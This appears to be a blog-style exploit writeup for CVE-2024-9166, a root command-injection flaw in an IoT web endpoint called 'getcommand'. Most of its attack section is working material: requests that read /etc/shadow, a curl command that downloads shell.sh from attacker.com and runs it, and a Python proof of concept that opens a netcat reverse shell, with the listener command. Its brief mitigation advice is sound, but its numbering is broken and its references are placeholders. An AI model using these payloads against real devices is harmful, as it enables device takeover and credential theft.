CVE-2024-9166 - How Attackers Gain Root Access With the getcommand Query (Exploit Details & Code)

In June 2024, a serious vulnerability shook the world of embedded devices and IoT products. CVE-2024-9166 enables attackers to easily execute system commands as root—essentially taking full control of a targeted device. Let’s break down in simple terms what this bug is, why it’s dangerous, and how the exploit works.

1. Background

Many affordable networking devices and IoT gadgets are administered through a web interface. Behind the scenes, these web apps often let you run commands or perform actions for convenience. But, if web developers aren’t careful, attackers can trick these apps into running any system command they wish.

2. How CVE-2024-9166 Works

At the heart of this issue is a web application feature called getcommand. It’s likely meant for internal checks and system info retrieval, but it’s poorly secured. Anyone who knows the right HTTP request can supply _any_ command, and the device will execute it using root privileges, returning the results.

Root problem:

Untrusted input is mixed directly into shell commands.

Example:

Suppose the device opens requests like

GET http://target-device/api/getcommand?cmd=uptime

This should run uptime and return the result. But what if an attacker sends

GET http://target-device/api/getcommand?cmd=cat /etc/shadow

Now, the device gives back the root password hashes!

Find Target: Locate a vulnerable device on the network (can be local or exposed online).

2. Craft Malicious Request: Using a browser or tool like curl, send an HTTP GET request to the vulnerable endpoint with a custom command.
3. Gain Shell: Typically, attackers will use commands that set up a reverse shell or add a new root user.

Real Attack Scenario:
Let’s say the device is at 192.168.1.1.

curl "http://192.168.1.1/api/getcommand?cmd=whoami";

Now, upload a reverse shell back to the attacker

curl "http://192.168.1.1/api/getcommand?cmd=wget http://attacker.com/shell.sh -O /tmp/shell.sh; sh /tmp/shell.sh"

4. Proof of Concept (PoC) Code

Below is a sample exploit in Python that leverages CVE-2024-9166 to run arbitrary commands as root.

import requests

# Configuration
target_ip = "192.168.1.1"
attacker_ip = "192.168.1.123"
attacker_port = "4444"

# Prepare a netcat reverse shell command
cmd = f"nc {attacker_ip} {attacker_port} -e /bin/sh"

# Send exploit
url = f"http://{target_ip}/api/getcommand?cmd={requests.utils.quote(cmd)}";
response = requests.get(url)

print("Status code:", response.status_code)
print("Response:")
print(response.text)

On the attacker machine, listen for the reverse shell

nc -lvnp 4444

Now, when the exploit runs, the victim device connects back, and the attacker has root shell access.

If your device is affected

1. Update Firmware: Check your vendor’s website or security advisories for an update fixing CVE-2024-9166.

Restrict Network Access: Block untrusted devices from accessing the web admin port.

3. Disable getcommand: If possible, disable the getcommand feature or limit it to authenticated users.
4. Monitor Logs: Watch for suspicious requests to /api/getcommand.

6. References

- MITRE CVE-2024-9166 Listing
- Exploit Database Entry *(link placeholder, actual ID upon publication)*

[Vendor Security Advisory](*vendor link placeholder*)

In summary: CVE-2024-9166 is frighteningly simple to exploit: it just takes a web request to get root. If you depend on devices using the getcommand interface, patch as soon as possible and never expose admin interfaces to the public Internet.


*This article is exclusive. Please do not redistribute without permission.*

Timeline

Published on: 09/26/2024 17:15:04 UTC
Last modified on: 09/30/2024 12:46:20 UTC